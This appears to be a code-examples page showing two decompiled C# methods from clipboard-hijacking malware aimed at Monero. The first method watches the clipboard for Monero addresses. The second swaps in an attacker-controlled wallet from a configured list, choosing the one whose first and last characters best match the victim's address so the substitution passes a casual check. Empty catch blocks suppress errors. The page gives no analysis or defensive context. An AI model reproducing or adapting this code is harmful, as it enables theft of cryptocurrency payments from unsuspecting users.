Beispiel #1
0
 // Token: 0x060002E4 RID: 740 RVA: 0x000135EC File Offset: 0x000117EC
 public static void GetMoneroWhile()
 {
     try
     {
         if (Clipboard.ContainsText())
         {
             string text = Clipboard.GetText();
             if (!Config.walletsxmr.Contains(text) && CheckXMR.Clipregex(text))
             {
                 CheckXMR.SetsXMR(text);
             }
         }
     }
     catch
     {
     }
 }
Beispiel #2
0
 // Token: 0x060002E7 RID: 743 RVA: 0x00013678 File Offset: 0x00011878
 internal static void SetsXMR(string originalClipboardText)
 {
     try
     {
         string           b       = originalClipboardText.Trim();
         HashSet <string> hashSet = new HashSet <string>();
         int num = 0;
         foreach (string text in Config.walletsxmr.ToList <string>())
         {
             int num2 = CheckXMR.FirstCharFitNum(text, b);
             if (num2 >= num)
             {
                 if (num2 == num)
                 {
                     hashSet.Add(text);
                 }
                 else if (num2 > num)
                 {
                     hashSet.Clear();
                     num = num2;
                     hashSet.Add(text);
                     Clipboard.SetText(text);
                 }
             }
         }
         int num3 = 0;
         foreach (string text2 in hashSet)
         {
             int num4 = CheckXMR.LastCharFitNum(text2, b);
             if (num4 > num3)
             {
                 num3 = num4;
                 Clipboard.SetText(text2);
             }
         }
     }
     catch
     {
     }
 }